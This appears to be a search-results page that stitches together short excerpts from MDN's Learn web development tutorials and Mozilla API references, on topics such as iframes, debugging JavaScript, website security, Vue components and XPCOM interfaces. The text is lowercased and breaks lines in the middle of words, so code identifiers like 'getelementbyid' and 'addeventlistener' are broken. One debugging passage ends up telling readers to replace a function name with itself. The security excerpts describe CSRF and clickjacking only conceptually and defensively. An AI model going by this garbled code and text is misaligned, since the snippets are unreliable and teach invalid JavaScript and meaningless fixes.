width: 98%; } body { margin: 10px; background: #f5f9fa; } const textarea = document.getelementbyid('code'); const reset = document.getelementbyid('reset'); const solution = document.getelementbyid('solution'); const output = document.queryselector('.output'); let code = textarea.value; let userentry = textarea.value; function updatecode() { output.innerhtml = textarea.value; } reset.add
eventlistener('click', function() { textarea.value = code; userentry = textarea.value; solutionentry = htmlsolution; solution.value = 'show solution'; updatecode(); }); solution.add
eventlistener('click', function() { if(solution.value === 'show solution') { textarea.value = solutionentry; solution.value = 'hide solution'; } else { textarea.value = userentry; solution.valu...
...n<iframe src="https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d37995.65748333395!2d-2.273568166412784!3d53.473310471916975!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x487bae6c05743d3d%3a0xf82fddd1e49fc0a1!2sthe+lowry!5e0!3m2!1sen!2suk!4v1518171785211" width="600" height="450" frameborder="0" style="border:0" allowfullscreen>\n</iframe>'; let solutionentry = htmlsolution; textarea.add
eventlistener('input', updatecode); window.add
eventlistener('load', updatecode); // stop tab key tabbing out of textarea and // make it write a tab at the caret position instead textarea.onkeydown = function(e){ if (e.keycode === 9) { e.pr
eventdefault(); insertatcaret('\t'); } if (e.keycode === 27) { textarea.blur(); } }; function insertatcaret(text) { const scrollpos = textar...
...st obey the license terms. for example, the content on mdn is licensed under cc-by-sa. that means, you must credit us properly when you quote our content, even if you make substantial changes. use https https is the encrypted version of http. you should serve your websites using https whenever possible: https reduces the chance that remote content has been tampered with in transit, https pr
events embedded content from accessing content in your parent document, and vice versa. using https requires a security certificate, which can be expensive (although let's encrypt makes things easier) — if you can't get one, you may serve your parent document with http. however, because of the second benefit of https above, no matter what the cost, you must never embed third-party content with http...
...ifferent domain to your main site. configure csp directives csp stands for content security policy and provides a set of http headers (metadata sent along with your web pages when they are served from a web server) designed to improve the security of your html document. when it comes to securing <iframe>s, you can configure your server to send an appropriate x-frame-options header. this can pr
event other websites from embedding your content in their web pages (which would enable clickjacking and a host of other attacks), which is exactly what the mdn developers have done, as we saw earlier on. note: you can read frederik braun's post on the x-frame-options security header for more background information on this topic. obviously, it's rather out of scope for a full explanation in this arti...
Arrays - Learn web development
buttons"> <input id="reset" type="button" value="reset"> <input id="solution" type="button" value="show solution"> </div> const textarea = document.getelementbyid('code'); const reset = document.getelementbyid('reset'); const solution = document.getelementbyid('solution'); let code = textarea.value; let userentry = textarea.value; function updatecode() { eval(textarea.value); } reset.add
eventlistener('click', function() { textarea.value = code; userentry = textarea.value; solutionentry = jssolution; solution.value = 'show solution'; updatecode(); }); solution.add
eventlistener('click', function() { if(solution.value === 'show solution') { textarea.value = solutionentry; solution.value = 'hide solution'; } else { textarea.value = userentry; solution.value ...
...\n let subarray = products[i].split(\':\');\n let name = subarray[0];\n let price = number(subarray[1]);\n total += price;\n let itemtext = name + \' — $\' + price;\n\n let listitem = document.createelement(\'li\');\n listitem.textcontent = itemtext;\n list.appendchild(listitem);\n}\n\ntotalbox.textcontent = \'total: $\' + total.tofixed(2);'; let solutionentry = jssolution; textarea.add
eventlistener('input', updatecode); window.add
eventlistener('load', updatecode); // stop tab key tabbing out of textarea and // make it write a tab at the caret position instead textarea.onkeydown = function(e){ if (e.keycode === 9) { e.pr
eventdefault(); insertatcaret('\t'); } if (e.keycode === 27) { textarea.blur(); } }; function insertatcaret(text) { const scrollpos = texta...
...abel { margin: 0; text-align: right; font-size: 0.7rem; width: 98%; } body { margin: 10px; background: #f5f9fa; } const textarea = document.getelementbyid('code'); const reset = document.getelementbyid('reset'); const solution = document.getelementbyid('solution'); let code = textarea.value; let userentry = textarea.value; function updatecode() { eval(textarea.value); } reset.add
eventlistener('click', function() { textarea.value = code; userentry = textarea.value; solutionentry = jssolution; solution.value = 'show solution'; updatecode(); }); solution.add
eventlistener('click', function() { if(solution.value === 'show solution') { textarea.value = solutionentry; solution.value = 'hide solution'; } else { textarea.value = userentry; solution.value ...
...chinput.value);\n\n list.innerhtml = \'\';\n\n for(let i = 0; i < myhistory.length; i++) {\n itemtext = myhistory[i];\n const listitem = document.createelement(\'li\');\n listitem.textcontent = itemtext;\n list.appendchild(listitem);\n }\n\n if(myhistory.length >= 5) {\n myhistory.pop();\n }\n\n searchinput.value = \'\';\n searchinput.focus();\n }\n}'; let solutionentry = jssolution; textarea.add
eventlistener('input', updatecode); window.add
eventlistener('load', updatecode); // stop tab key tabbing out of textarea and // make it write a tab at the caret position instead textarea.onkeydown = function(e){ if (e.keycode === 9) { e.pr
eventdefault(); insertatcaret('\t'); } if (e.keycode === 27) { textarea.blur(); } }; function insertatcaret(text) { const scrollpos = textar...
What went wrong? Troubleshooting JavaScript - Learn web development
ge along the following lines: this is a pretty easy error to track down, and the browser gives you several useful bits of information to help you out (the screenshot above is from firefox, but other browsers provide similar information). from left to right, we've got: a red "x" to indicate that this is an error. an error message to indicate what's gone wrong: "typeerror: guesssubmit.add
eventlistener is not a function" a "learn more" link that links through to an mdn page that explains what this error means in greater detail. the name of the javascript file, which links through to the debugger tab of the developer tools. if you follow this link, you'll see the exact line where the error is highlighted. the line number where the error is, and the character number in that line ...
...ile, which links through to the debugger tab of the developer tools. if you follow this link, you'll see the exact line where the error is highlighted. the line number where the error is, and the character number in that line where the error is first seen. in this case, we've got line 86, character number 3. if we look at line 86 in our code editor, we'll find this line: guesssubmit.add
eventlistener('click', checkguess); the error message says "guesssubmit.add
eventlistener is not a function", which means that the function we're calling is not recognized by the javascript interpreter. often, this error message actually means that we've spelled something wrong. if you are not sure of the correct spelling of a piece of syntax, it is often good to look up the feature on mdn. the best ...
...ecognized by the javascript interpreter. often, this error message actually means that we've spelled something wrong. if you are not sure of the correct spelling of a piece of syntax, it is often good to look up the feature on mdn. the best way to do this currently is to search for "mdn name-of-feature" with your favorite search engine. here's a shortcut to save you some time in this instance: add
eventlistener(). so, looking at this page, the error appears to be that we've spelled the function name wrong! remember that javascript is case sensitive, so any slight difference in spelling or casing will cause an error. changing add
eventlistener to add
eventlistener should fix this. do this now. note: see our typeerror: "x" is not a function reference page for more details about this error. syn...
...tails about this error. syntax errors round three now if you try playing the game through again, you should get more success — the game should play through absolutely fine, until you end the game, either by guessing the right number, or by running out of guesses. at that point, the game fails again, and the same error is spat out that we got at the beginning — "typeerror: resetbutton.add
eventlistener is not a function"! however, this time it's listed as coming from line 94. looking at line number 94, it is easy to see that we've made the same mistake here. we again just need to change add
eventlistener to .add
eventlistener. do this now. a logic error at this point, the game should play through fine, however after playing through a few times you'll undoubtedly notice that the "rando...
Solve common problems in your JavaScript code - Learn web development
e to use the correct syntax. the object must be surrounded by curly braces, member names must be separated from their values using colons, and members must be separated by commas. ...
...? what is this, in the context of an object? what is object-oriented programming? what are constructors and instances, and how do you create them? what different ways are there to create objects in javascript? json how do you structure json data, and read it from javascript? how can you load a json file into a page? how do you convert a json object to a text string, and back again? ...
... the context of an object? what is object-oriented programming? what are constructors and instances, and how do you create them? what different ways are there to create objects in javascript? json how do you structure json data, and read it from javascript? how can you load a json file into a page? how do you convert a json object to a text string, and back again? ...
...amming? what are constructors and instances, and how do you create them? what different ways are there to create objects in javascript? json how do you structure json data, and read it from javascript? how can you load a json file into a page? how do you convert a json object to a text string, and back again?
events what are
event handlers and how do you use them? what are inline
event handlers? what does the add
eventlistener() function do, and how do you use it? which mechanism should i use to add
event code to my web pages? what are
event objects, and how do you use them? how do you pr
event default
event behaviour? how do
events fire on nested elements? (
event propagation, also related —
event bubbling and capturing) what is
event delegation, and how does it work? o...
Website security - Learn web development
hear about websites becoming unavailable due to denial of service attacks, or displaying modified (and often damaging) information on their homepages. in other high-profile cases, millions of passwords, email addresses, and credit card details have been leaked into the public domain, exposing website users to both personal embarrassment and financial risk. the purpose of website security is to pr
event these (or any) sorts of attacks. the more formal definition of website security is the act/practice of protecting websites from unauthorized access, use, modification, destruction, or disruption. effective website security requires design effort across the whole of the website: in your web application, the configuration of the web server, your policies for creating and renewing passwords, and th...
...action. the result is that any user who clicks the submit button while they are logged in to the trading site will make the transaction. john gets rich. note: the trick here is that john doesn't need to have access to the user's cookies (or access credentials). the browser of the user stores this information and automatically includes it in all requests to the associated server. one way to pr
event this type of attack is for the server to require that post requests include a user-specific site-generated secret. the secret would be supplied by the server when sending the web form used to make transfers. this approach pr
events john from creating his own form, because he would have to know the secret that the server is providing for the user. even if he found out the secret and created a form ...
... other threats other common attacks/vulnerabilities include: clickjacking. in this attack, a malicious user hijacks clicks meant for a visible top-level site and routes them to a hidden page beneath. ...
...te and routes them to a hidden page beneath. this technique might be used, for example, to display a legitimate bank site but capture the login credentials into an invisible <iframe> controlled by the attacker. clickjacking could also be used to get the user to click a button on a visible site, but in doing so actually unwittingly click a completely different button. as a defense, your site can pr
event itself from being embedded in an iframe in another site by setting the appropriate http headers. denial of service (dos). dos is usually achieved by flooding a target site with fake requests so that access to a site is disrupted for legitimate users. the requests may simply be numerous, or they may individually consume large amounts of resource (e.g., slow reads or uploading of large files). dos...
Introduction to client-side frameworks - Learn web development
give you easier access to javascript's powers so you can build for today's web. if you want to see code samples from this section in action, you can check out a working version of the app on codepen, which also allows users to add and delete new tasks. read more about the javascript used in this section: document.createelement() document.createtextnode() document.createdocumentfragment()
eventtarget.add
eventlistener() node.appendchild() node.removechild() another way to build uis every javascript framework offers a way to write user interfaces more declaratively. that is, they allow you to write code that describes how your ui should look, and the framework makes it happen in the dom behind the scenes. the vanilla javascript approach to building out new dom elements in repetition...
...en be home to framework applications: if you want one specific page of your statically-generated website to boot up a react application when your user visits it for example, you can do that. static site generators have been around for quite a long time, but they have seen a bit of a revival in the recent history of the web. a handful of powerful options are now available, such as hugo, jekyll, el
eventy, and gatsby. if you'd like to learn more about static site generators on the whole, check out tatiana mac's beginner's guide to el
eventy. in the first article of the series, she explains what a static site generator is, and how it relates to other means of publishing web content. summary and that brings us to the end of our introduction to frameworks — we’ve not taught you any code yet, b...
...le goes down to a lower level, looking at the specific kinds of features frameworks tend to offer, and why they work like they do. ...
...orks framework main features react getting started with react beginning our react todo list componentizing our react app react interactivity:
events and state react interactivity: editing, filtering, conditional rendering accessibility in react react resources ember getting started with ember ember app structure and componentization ember interactivity:
events, classes and state ember interactivity: footer functionality, conditional rendering routing in ember ember resources and troubleshooting vue getting started with vue creating our first vue component rendering a list of vue components adding a new todo form: vue
events, methods, and models styling vue components with css using vue computed properties vue con...
Using Vue computed properties - Learn web development
one" :id="item.id"></to-do-item> </li> </ul> you should now see the list summary in your app, and the total number of items update as you add more todo items! however, if you try checking and unchecking some items, you'll reveal a bug. currently, we're not actually tracking the "done" data in any fashion, so the number of completed items does not change. tracking changes to "done" we can use
events to capture the checkbox update and manage our list accordingly. since we're not relying on a button press to trigger the change, we can attach a @change
event handler to each checkbox instead of using v-model. update the <input> element in todoitem.vue to look like this. <input type="checkbox" class="checkbox" :id="id" :checked="isdone" @change="$emit('checkbox-changed')" /> since all...
...do() method. this method should take one parameter: the todo item id. we want to find the item with the matching id and update its done status to be the opposite of its current status: updatedonestatus(todoid) { const todotoupdate = this.todoitems.find(item => item.id === todoid) todotoupdate.done = !todotoupdate.done } we want to run this method whenever a todoitem emits a checkbox-changed
event, and pass in its item.id as the parameter. update your <to-do-item></to-do-item> call as follows: <to-do-item :label="item.label" :done="item.done" :id="item.id" @checkbox-changed="updatedonestatus(item.id)"> </to-do-item> now if you check a todoitem, you should see the summary update appropriately! summary in this article we've used a computed property to add a nice little feat...
...will look at conditional rendering, and how we can use it to show an edit form when we want to edit existing todo items. ...
...orks framework main features react getting started with react beginning our react todo list componentizing our react app react interactivity:
events and state react interactivity: editing, filtering, conditional rendering accessibility in react react resources ember getting started with ember ember app structure and componentization ember interactivity:
events, classes and state ember interactivity: footer functionality, conditional rendering routing in ember ember resources and troubleshooting vue getting started with vue creating our first vue component rendering a list of vue components adding a new todo form: vue
events, methods, and models styling vue components with css using vue computed properties vue con...
Focus management with Vue refs - Learn web development
tivate the "edit" button and then cancel or save your changes via the keyboard, focus should be returned to the "edit" button. success! vue lifecycle methods next, we need to move focus to the edit form’s <input> element when the "edit" button is clicked. however, because our edit form is in a different component to our "edit" button, we can't just set focus inside the "edit" button’s click
event handler. instead, we can use the fact that we remove and re-mount our todoitemeditform component whenever the "edit" button is clicked to handle this. so how does this work? well, vue components undergo a series of
events, known as a lifecycle. this lifecycle spans from all the way before elements are created and added to the vdom (mounted), until they are removed from the vdom (destroyed). vue...
...estroyed). vue lets you run methods at various stages of this lifecycle using lifecycle methods. this can be useful for things like data fetching, where you may need to get your data before your component renders, or after a property changes. the list of lifecycle methods are below, in the order that they fire. beforecreate() — runs before the instance of your component is created. data and
events are not yet available. created() — runs after your component is initialized but before the component is added to the vdom. this is often where data fetching occurs. beforemount() — runs after your template is compiled, but before your component is rendered to the actual dom. mounted() — runs after your component is mounted to the dom. can access refs here. beforeupdate() — runs whene...
...e sample vue app code in our todo-vue repository. for a running live version, see https://mdn.github.io/todo-vue/dist/. ...
...orks framework main features react getting started with react beginning our react todo list componentizing our react app react interactivity:
events and state react interactivity: editing, filtering, conditional rendering accessibility in react react resources ember getting started with ember ember app structure and componentization ember interactivity:
events, classes and state ember interactivity: footer functionality, conditional rendering routing in ember ember resources and troubleshooting vue getting started with vue creating our first vue component rendering a list of vue components adding a new todo form: vue
events, methods, and models styling vue components with css using vue computed properties vue con...
Styling Vue components with CSS - Learn web development
c section of our page, it could benefit from an <h2> element. the label, however, already denotes the purpose of the form. to avoid repeating ourselves, let's wrap our label in an <h2>. there are a few other global css styles which we can add as well. we'll also add the input__lg class to our <input> element. ...
...e is our todoitem component. to keep the style definitions close to the component we can add a <style> element inside it. however, if these styles alter things outside of this component, it could be challenging to track down the styles responsible, and fix the problem. this is where the scoped attribute can be useful — this attaches a unique html data attribute selector to all of your styles, pr
eventing them from colliding globally. to use the scoped modifier, create a <style> element inside todoitem.vue, at the bottom of the file, and give it a scoped attribute: <style scoped> </style> next, copy the following css into the newly created <style> element: .custom-checkbox > .checkbox-label { font-family: arial, sans-serif; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing:...
...g some more functionlity to our app, namely using a computed property to add a count of completed todo items to our app. ...
...orks framework main features react getting started with react beginning our react todo list componentizing our react app react interactivity:
events and state react interactivity: editing, filtering, conditional rendering accessibility in react react resources ember getting started with ember ember app structure and componentization ember interactivity:
events, classes and state ember interactivity: footer functionality, conditional rendering routing in ember ember resources and troubleshooting vue getting started with vue creating our first vue component rendering a list of vue components adding a new todo form: vue
events, methods, and models styling vue components with css using vue computed properties vue con...
Handling common accessibility problems - Learn web development
, but not to activate them via the enter/return key. to do that, we had to add the following bit of javascript trickery: document.onkeydown = function(e) { if(e.keycode === 13) { // the enter/return key document.activeelement.onclick(e); } }; here we add a listener to the document object to detect when a button has been pressed on the keyboard. ...
...this is a lot of extra hassle to build the functionality back in. and there's bound to be other problems with it. better to just use the right element for the right job in the first place. ...
...this is a lot of extra hassle to build the functionality back in. and there's bound to be other problems with it. better to just use the right element for the right job in the first place. ...
...this is a lot of extra hassle to build the functionality back in. and there's bound to be other problems with it. better to just use the right element for the right job in the first place. ...
Deploying our app - Learn web development
t requires as little manual intervention as possible. here's just a few things to consider for this particular project: generating a production build: ensuring files are minimised, chunked, have tree-shaking applied, and that versions are "cache busted". running tests: these can range from "is this code formatted properly?" to "does this thing do what i expect?", and ensuring failing tests pr
event deployment. actually deploying the updated code to a live url: or potentially a staging url so it can be reviewed first. note: cache busting is a new term that we haven't met before in the module. this is the strategy of breaking a browser's own caching mechanism, which forces the browser to download a new copy of your code. parcel (and indeed many other tools) will generate filenames that ar...
...an optionally change the name of the netlify project or specify to use our own domain name, which netlify offers some excellent documentation on. now for one final link in our tool chain: a test to ensure our code works. testing testing itself is a vast subject, even within the realm of front end development. i'll show you how to add an initial test to your project and how to use the test to pr
event or to allow the project deployment to happen. when approaching tests there's a good deal of ways to approach the problem: end-to-end testing, which involves your visitor clicking a thing and some other thing happening. integration testing, which basically says "does one block of code still work when connected to another block?" unit testing, where small and specific bits of functionality ar...
...er testing module for a bunch of useful testing information remember also that tests are not limited to javascript; tests can be run against the rendered dom, user interactions, css, and even how a page looks. however, for this project we’re going to create a small test that will check the third-party nasa data feed and ensure it's in the correct format. if not, the test will fail and will pr
event the project from going live. to do anything else would be beyond the scope of this module — testing is a huge subject that really requires its own separate module. we are hoping that this section will at least make you aware of the need for testing, and will plant the seed that inspires you to go and learn more. although the test for this project does not include a test framework, as with all ...
...ave a simple test that blocks the building and deployment of the site if the nasa api feed isn't giving us the correct data format. for those of you wanting a challenge, consider whether you can optimise some part of this toolchain. ...
Eclipse CDT Manual Setup
select "general > content types", expand "text > c source file > c++ source file", click "add" and add "*.mm". eclipse cdt doesn't currently understand objective-c files (although there is a project that promises to add objective-c support), so for now, this is the best we can do to give eclipse ...
...o the objective-c files. select "general > editors > text editors". if you want line numbers, tick "show line numbers". if you want a column marker to mark the 80th column to help with formatting code to mozilla's 80 character line limit, tick "show print margin" and set the value to 80. select "general > workspace" and select "refresh using native hooks or polling" and "refresh on access" to pr
event eclipse giving you annoying "resource is out of sync" messages when files change from under it due to mercurial or other external activity. select "c/c++ > build > console" and set "limit console output (number of lines)" to something large, like "1000000". eclipse cdt will try to format c/c++ code that you add as you type. however, its default formats are not a good match to mozilla's style ru...
...e clean checkbox. if you can't untick "use default build command", you must change the current builder by clicking on "tool chain editor" (in c/c++ build) and choosing another builder (e.g., "gnu make builder"). if you will not be using eclipse for debugging, select "c/c++ build > settings" on the left, select the "binary parsers" tab, and make sure that all the parsers are deselected. this pr
events the (useless if not debugging) "searching for binaries" action from constantly interrupting everything. if you will be using eclipse for debugging, select "c/c++ general > paths and symbols" and select the "output location" tab. you should now add the folder containing your firefox binary (note on mac this is inside the .app - so "{your-obj-dir}/dist/nightlydebug.app/contents/macos/" - and sinc...
...d to type the end of the path in manually). how you add this depends on whether your object directory is inside or outside your source tree. if inside, use the "add folder" button; if outside, use the "link folder" button and tick the "link to folder in the file system" checkbox. once you've added this folder, delete the existing output folder that was set to the root of the project. doing this pr
events the "searching for binaries" which eclipse constantly starts from taking too long. select "c/c++ general > preprocessor include paths, macros, and so on." select the providers tab. make sure that "cdt gcc build output parser" is selected, and that "cdt managed build settings entries" is not selected. highlight (select) "cdt gcc build output parser", then in the "language settings provider optio...
mozbrowserclose
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the mozbrowserclose
event is fired when the content of a browser <iframe> calls the window.close() method. general info specification non standard interface custom
event bubbles yes cancelable yes target <iframe> default action none properties property type description target read only
eventtarget the
event target (the topmost target in the dom tree). type read only domstring the type of
event. bubbles read only boolean ...
... specification non standard interface custom
event bubbles yes cancelable yes target <iframe> default action none properties property type description target read only
eventtarget the
event target (the topmost target in the dom tree). type read only domstring the type of
event. bubbles read only boolean whether the
event normally bubbles or not. cancelable read only boolean whether the
event is cancellable or not. ...
... target read only
eventtarget the
event target (the topmost target in the dom tree). type read only domstring the type of
event. bubbles read only boolean whether the
event normally bubbles or not. cancelable read only boolean whether the
event is cancellable or not. ...
...he type of
event. bubbles read only boolean whether the
event normally bubbles or not. cancelable read only boolean whether the
event is cancellable or not. ...
mozbrowserdocumentfirstpaint
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the mozbrowserdocumentfirstpaint
event is fired when a new paint occurs on any document in the browser <iframe>. general info specification non standard interface custom
event bubbles yes cancelable yes target <iframe> default action none properties property type description target read only
eventtarget the
event target (the topmost target in the dom tree). type read only domstring the type of
event. bubbles read only bool...
... specification non standard interface custom
event bubbles yes cancelable yes target <iframe> default action none properties property type description target read only
eventtarget the
event target (the topmost target in the dom tree). type read only domstring the type of
event. bubbles read only boolean whether the
event normally bubbles or not. cancelable read only boolean whether the
event is cancellable or not. ...
... target read only
eventtarget the
event target (the topmost target in the dom tree). type read only domstring the type of
event. bubbles read only boolean whether the
event normally bubbles or not. cancelable read only boolean whether the
event is cancellable or not. ...
...nly domstring the type of
event. bubbles read only boolean whether the
event normally bubbles or not. cancelable read only boolean whether the
event is cancellable or not. ...
WebChannel.jsm
components.utils.import("resource://gre/modules/webchannel.jsm"); constructor webchannel(string webchannelid, nsiuri originorpermission); 2nd argument is a valid origin that should be part of requests for this channel. ...
...or this channel. webchannel(string webchannelid, string originorpermission); 2nd argument is a permission for which the permission manager will be checked to determine if the request is allowed. note that in addition to the permission manager check, the request must be made over https. method overview listen(function callback); stoplistening(); send(object message,
eventtarget target); attributes id string webchannel id methods listen() registers the callback for messages on this channel. registers the channel itself with the webchannelbroker. parameters callback callback function containing function(id, message, sendercontext) parameters. id - webchannel id of the incoming messages message - incoming message ...
...es message - incoming message object sendercontext - incoming message context - this should be treated as an opaque object and passed to the .send() method stoplistening() resets the callback for messages on this channel. removes the channel from the webchannelbroker. parameters none send() sends messages over the webchannel id using the "webchannelmessagetocontent"
event. parameters message the message object that will be sent sendercontext the sendercontext parameter passed to the .listen method. examples setting up a webchannel between chrome code and a webpage chrome code let channel = new webchannel(webchannelid, services.io.newuri("https://mozilla.org", null, null)); // receive messages channel.listen(function (webchannelid, message, ...
...rome code and a webpage chrome code let channel = new webchannel(webchannelid, services.io.newuri("https://mozilla.org", null, null)); // receive messages channel.listen(function (webchannelid, message, sendercontext) { // send messages channel.send({ data: { greeting: true } }, sendercontext); }); webpage code receive messages from an existing webchannel in content code window.add
eventlistener("webchannelmessagetocontent", function(e) { // receive messages console.log(e.detail); }, true); send messages to an existing webchannel in chrome code window.dispatch
event(new window.custom
event("webchannelmessagetochrome", { detail: { id: webchannelid, message: { something: true } } })); ...
Scripting Java
ject containing the methods that will be called from the java adapter. in practice there's little need to call the javaadapter constructor directly. most of the time the previous syntaxes using the new operator will be sufficient. javascript functions as java interfaces often we need to implement an interface with only one method, like in the previous runnable example or when providing various
event listener implementations. to facilitate this rhino allows to pass javascript function when such interface is expected. the function is called as the implementation of interface method. here is the simplified runnable example: js> t = java.lang.thread(function () { print("\nrunning"); }); thread[thread-0,5,main] js> t.start() js> running rhino also allows use of javascript functions as impleme...
... also allows use of javascript functions as implementations of java interfaces with more than one method if all the methods have the same signature. when calling the function, rhino passes the method's name as the additional argument. function can use it to distinguish on behalf of which method it was called: js> var frame = new packages.javax.swing.jframe(); js> frame.addwindowlistener(function(
event, methodname) { if (methodname == "windowclosing") { print("calling system.exit()..."); java.lang.system.exit(0); } }); js> frame.setsize(100, 100); js> frame.visible = true; true js> calling system.exit()... creating java arrays rhino provides no special syntax for creating java arrays. you must use the java.lang.reflect.array class for this purpose. to create an array of fiv...
...o also makes the javascript methods available to java strings if the java.lang.string class doesn't already define them. for example: js> javastring.match(/a.*/) ava javaimporter constructor javaimporter is a new global constructor that allows to omit explicit package names when scripting java: var swinggui = javaimporter(packages.javax.swing, packages.javax.swing.
event, packages.javax.swing.border, java.awt.
event, java.awt.point, java.awt.rectangle, java.awt.dimension); ... with (swinggui) { var mybutton = new jbutton(test); var mypoint = new point(10, 10); var myframe = new jframe(); ... } previously such fu...
...new point(10, 10); var myframe = new jframe(); ... } previously such functionality was available only to embeddings that used org.mozilla.javascript.importertoplevel class as the top level scope. the class provides additional importpackage() and importclass() global functions for scripts but their extensive usage has tendency to pollute the global name space with names of java classes and pr
events loaded classes from garbage collection. see bugzilla 245882 for details. java exceptions exceptions thrown by java methods can be caught by javascript code using try...catch statement. rhino wraps java exceptions into error objects with the following properties: javaexception: the original exception thrown by the java method rhinoexception: the exception wrapped by the rhino runtime the...
Component Internals
ter. the component is an abstraction sitting between the actual module in which it is implemented and the objects that its factory code creates for use by clients. xpcom initialization to understand why and when your component library gets called, it is important to understand the xpcom initalization process. when an application starts up, that application may initialize xpcom. the sequence of
events that kicks off this xpcom initialization may be triggered by user action or by the application startup itself. a web browser that embeds gecko, for example, may initialize xpcom at startup through the embedding apis. another application may delay this startup until xpcom is needed for the first time. in either case, the initialization sequence within xpcom is the same. xpcom starts when the app...
...ory and registering new components that are added there, which is what's often referred to as autoregistration. you should always know what the installation and registration requirements are for the applications that will be using your component. the shutdown process when the application is ready to shutdown xpcom, it calls ns_shutdownxpcom. ...
... called, the following sequence of
events occurs: xpcom fires a shutdown notification to all registered observers. xpcom closes down the component manager, the service manager and associated services. xpcom frees all global services. ns_shutdownxpcom returns and the application may exit normally. the unstoppable shutdown note that shutdown observation is unstoppable. in other words, the
event you observe cannot be used to implement something like a "are you sure you want to quit?" dialog. rather, the shutdown
event gives the component or embedding application a last chance to clean up any leftovers before they are released. ...
... note also that xpcom services may deny you access once you have received the shutdown notification. ...
nsIAppShellService
closetoplevelwindow() obsolete since gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) close a window. void closetoplevelwindow( in nsixulwindow awindow ); parameters awindow a window. native code only!createhiddenwindow creates a hidden window. void createhiddenwindow( in nsiappshell aappshell ); parameters aappshell a widget "appshell" (
event processor) to associate with the new window. createstartupstate() obsolete since gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) creates the initial state of the application by launching tasks specfied by "general.startup.*" prefs. note: size_to_content may be used for width or height. boolean createstartupstate( in long awindowwidth, in long awindowhe...
...ls, of the window. width of window at creation. can be overridden by the "width" tag in the xul. set to ns_sizetocontent to force the window to wrap to its contents. ainitialheight height, in pixels, of the window. height of window at creation. can be overridden by the "height" tag in the xul. set to ns_sizetocontent to force the window to wrap to its contents. aappshell a widget "appshell" (
event processor) to associate with the new window. return value returns the newly created window. destroyhiddenwindow() destroys a hidden window. void destroyhiddenwindow(); parameters none. doprofilestartup() obsolete since gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) starts up the profile manager with the given arguments. void doprofilestartup( in ...
...rameters acmdlineservice is stored and passed to appshell components as they are initialized. nativeappsupportorsplashscreen is an object that can be queryinterface'd to either an nsinativeappsupport or nsisplashscreen; this object will be used to implement hidesplashscreen. quit() obsolete since gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) exit the
event loop, shut down the app. void quit( in pruint32 aferocity ); parameters aferocity one of the e* constants. createwindowlessbrowser() this method creates a browser that does not have a window. if the browser is exited, this windowless browser will not pr
event firefox from exiting. e10s notes: the browser is created in process. to get an out of process element you want to communicate ...
...cation knows it can not quit until it is out of registered windows. note: when this method is successful, it fires the global notification "xul-window-registered" void registertoplevelwindow( in nsixulwindow awindow ); parameters awindow the window to register. run() obsolete since gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) runs an application
event loop: normally the main
event pump which defines the lifetime of the application. void run(); parameters none. toplevelwindowismodal() obsolete since gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) the appshell service needs to be informed of modal xul windows currently open. call this method as a window becomes modal or as it becomes nonmodal. void to...
nsIChannel
s, who wish to provide a means to receive progress, status and protocol-specific notifications. if this value is null, the channel implementation may use the notification callbacks from its load group. the channel may also query the notification callbacks from its load group if its notification callbacks do not supply the requested interface. interfaces commonly requested include: nsiprogress
eventsink, nsiprompt, and nsiauthprompt / nsiauthprompt2. when the channel is done, it must not continue holding references to this object. note: a channel implementation should take care when "caching" an interface pointer queried from its notification callbacks. if the notification callbacks are changed, then a cached interface pointer may become invalid and may therefore need to be re-queri...
... passed to the stream listener's methods is not this channel, an appropriate onchannelredirect notification needs to be sent to the notification callbacks before onstartrequest is called. once onstartrequest is called, all following method calls on alistener will get the request that was passed to onstartrequest. if the channel's and loadgroup's notification callbacks do not provide an nsichannel
eventsink when onchannelredirect would be called, that's equivalent to having called onchannelredirect. if asyncopen returns successfully, the channel is responsible for keeping itself alive until it has called onstoprequest on alistener or called onchannelredirect. implementations are allowed to synchronously add themselves to the associated load group (if any). void asyncopen( in nsistreamlisten...
...ioservice forbidden port list. open() synchronously open the channel. note: extensions should not call this method, because it tends to fail when a request is redirected, rather than redirecting transparentlynote: nsichannel implementations are not required to implement this method. ...
...ethod may block the calling thread, it should not be called on a thread that processes ui
events. like any other nsichannel method it must not be called on any thread other than the xpcom main thread. nsiinputstream open(); parameters none. return value blocking input stream to the channel's data. exceptions thrown ns_error_in_progress if the channel is reopened. ...
nsIController
void docommand( in string command ); parameters command the name of the command to execute. ...
...void docommand( in string command ); parameters command the name of the command to execute. ...
...void docommand( in string command ); parameters command the name of the command to execute. ...
...ommand the name of the command to execute. iscommandenabled() implement this method to indicate whether or not the specified command is enabled. boolean iscommandenabled( in string command ); parameters command the name of the command whose availability is to be checked. return value return true if the specified command is currently available to be used; otherwise, it should return false. on
event() implement this method to process the
event with the specified name. void on
event( in string
eventname ); parameters
eventname the name of the
event to process. supportscommand() implement this method to report whether or not the command with the specified name is supported. boolean supportscommand( in string command ); parameters command the name of the command to determine whether or ...
nsIMsgFolder
, in boolean newvalue); void notifypropertyflagchanged(in nsimsgdbhdr item, in nsiatom property, in unsigned long oldvalue, in unsigned long newvalue); void notifyunicharpropertychanged(in nsiatom property, in astring oldvalue, in astring newvalue); void notifyitemadded(in nsisupports item); void notifyitemremoved(in nsisupports item); void notifyfolder
event(in nsiatom
event); void listdescendents(in nsisupportsarray descendents); void shutdown(in boolean shutdownchildren); void setinvfeditsearchscope(in boolean asearchthisfolder, in boolean asetonsubfolders); void copydatatooutputstreamforappend(in nsiinputstream aistream, in long alength, in nsioutputstream outputstream); void copydatadone(); vo...
... void listdescendents(in nsisupportsarray descendents); shutdown() void shutdown(in boolean shutdownchildren); setinvfeditsearchscope() void setinvfeditsearchscope(in boolean asearchthisfolder, in boolean asetonsubfolders); copydatatoou...
